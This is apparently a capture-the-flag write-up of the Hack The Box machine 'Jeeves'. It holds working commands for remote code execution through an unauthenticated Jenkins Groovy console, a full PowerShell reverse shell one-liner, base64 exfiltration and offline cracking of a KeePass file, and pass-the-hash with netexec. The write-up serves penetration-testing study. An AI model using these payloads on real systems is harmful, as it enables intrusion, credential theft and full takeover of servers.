Post

Jeeves

A Jenkins CI server on port 50000 had authentication disabled, allowing unauthenticated access to the Groovy Script Console and remote code execution as jeeves\kohsuke.

Jeeves

Overview

Jeeves is a medium-difficulty Windows box centred on a Jenkins automation server exposed on a non-standard port with no authentication. Visiting the Script Console lets anyone execute Groovy — and therefore arbitrary OS commands — as the service account. From that foothold, a KeePass database in the user’s Documents folder is exfiltrated via Groovy file-read, cracked offline with rockyou, and found to contain an Administrator NTLM hash stored as a vault entry. The hash is passed directly to netexec for a Pass-the-Hash as Administrator, and the root flag is hidden inside an NTFS Alternate Data Stream that requires -Stream to read.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

High Real-Life score reflects that unauthenticated Jenkins and Pass-the-Hash are genuine enterprise attack paths; the CTF-like axis is pulled up by the NTFS ADS flag-hiding trick.

Recon

PortServiceNotes
80HTTP (IIS)Default IIS page, nothing useful
135MSRPCStandard Windows RPC
445SMBWindows file sharing
50000Jenkins HTTPFull Jenkins UI, no authentication
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p80,135,445,50000 -sC -sV -Pn 10.10.10.X

Port 80 returns the default IIS splash page; everything interesting is on 50000 where Jenkins answers without prompting for a login.

Enumeration

Browsing to http://10.10.10.X:50000/askjeeves/ opens a full Jenkins dashboard with no authentication. The critical finding is the Script Console, which accepts arbitrary Groovy and executes it on the server:

1
curl -s "http://10.10.10.X:50000/askjeeves/script" | grep -q "Groovy script" && echo "VULNERABLE"

The CSRF crumb Jenkins requires is extractable from the same unauthenticated page, so nothing blocks the attack:

1
2
CRUMB=$(curl -s "http://10.10.10.X:50000/askjeeves/" | grep -oE 'crumb.init[^)]+' | grep -oE '"[a-f0-9]{32}"' | tr -d '"' | head -1)
echo "Crumb: $CRUMB"

CWE-306 — Missing Authentication for Critical Function — is the root cause. Jenkins shipped with “Allow users to sign up” and “Anyone can do anything” enabled and was never hardened.

Foothold

With the crumb in hand, POST a Groovy payload to /askjeeves/scriptText to confirm command injection:

1
2
3
curl -s -X POST "http://10.10.10.X:50000/askjeeves/scriptText" \
  -H "Jenkins-Crumb: $CRUMB" \
  --data-urlencode 'script=def p=["cmd.exe","/c","whoami"].execute();p.waitFor();println(p.text)'

Expected output: jeeves\kohsuke. Start a listener and send a reverse shell via Groovy’s execute():

1
nc -lvnp 4444
1
2
3
curl -s -X POST "http://10.10.10.X:50000/askjeeves/scriptText" \
  -H "Jenkins-Crumb: $CRUMB" \
  --data-urlencode 'script=def p=["cmd.exe","/c","powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient('"'"'10.10.14.X'"'"',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'"'"'PS '"'"'+((pwd).Path)+'"'"'> '"'"';$r=[text.encoding]::ASCII.GetBytes($sb2);$s.Write($r,0,$r.Length)}\""].execute();p.waitFor()'

A shell returns as jeeves\kohsuke.

User flag

1
type C:\Users\kohsuke\Desktop\user.txt   # HTB{...}

We land directly as kohsuke and the user flag is on the desktop.

Privilege Escalation

Step 1 — Exfiltrate the KeePass database

Enumerate the user’s Documents folder through the still-open Groovy console:

1
2
3
curl -s -X POST "http://10.10.10.X:50000/askjeeves/scriptText" \
  -H "Jenkins-Crumb: $CRUMB" \
  --data-urlencode 'script=def p=["cmd.exe","/c","dir C:\\Users\\kohsuke\\Documents"].execute();p.waitFor();println(p.text)'

CEH.kdbx is present. Exfiltrate it with Groovy’s built-in base64 file-read (CWE-200 — Exposure of Sensitive Information):

1
2
3
4
curl -s -X POST "http://10.10.10.X:50000/askjeeves/scriptText" \
  -H "Jenkins-Crumb: $CRUMB" \
  --data-urlencode 'script=def f=new File("C:\\Users\\kohsuke\\Documents\\CEH.kdbx");println(f.bytes.encodeBase64().toString())' \
  | base64 -d > /tmp/CEH.kdbx

Step 2 — Crack the KeePass master password

1
2
3
keepass2john /tmp/CEH.kdbx > /tmp/keepass.hash
john /tmp/keepass.hash --wordlist=/usr/share/wordlists/rockyou.txt
john /tmp/keepass.hash --show

Master password cracks to moonshine1. Open the database in KeePassXC or kpcli and inspect the “Backup stuff” entry — it contains an NTLM hash for the Administrator account (CWE-522 — Insufficiently Protected Credentials):

1
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

Step 3 — Pass-the-Hash as Administrator

The NTLM hash is passed directly to netexec over SMB (CWE-294 — Authentication Bypass by Capture-replay) — no plaintext password required:

1
netexec smb 10.10.10.X -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00' -x 'whoami'

Expected: nt authority\system.

Step 4 — Find the hidden NTFS ADS flag

The root flag is not in a standard root.txt — it is hidden in an NTFS Alternate Data Stream attached to hm.txt. Enumerate streams with dir /R:

1
2
netexec smb 10.10.10.X -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00' \
  -x 'dir /R C:\Users\Administrator\Desktop'

Output shows hm.txt:root.txt:$DATA. Read the hidden stream:

1
2
netexec smb 10.10.10.X -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00' \
  -x 'powershell Get-Content -Path C:\Users\Administrator\Desktop\hm.txt -Stream root.txt'

Root flag

1
2
netexec smb 10.10.10.X -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00' \
  -x 'powershell Get-Content -Path C:\Users\Administrator\Desktop\hm.txt -Stream root.txt'   # HTB{...}

Full compromise of Jeeves achieved — SYSTEM-level access via Pass-the-Hash, with the root flag recovered from a hidden NTFS Alternate Data Stream.

This post is licensed under CC BY 4.0 by the author.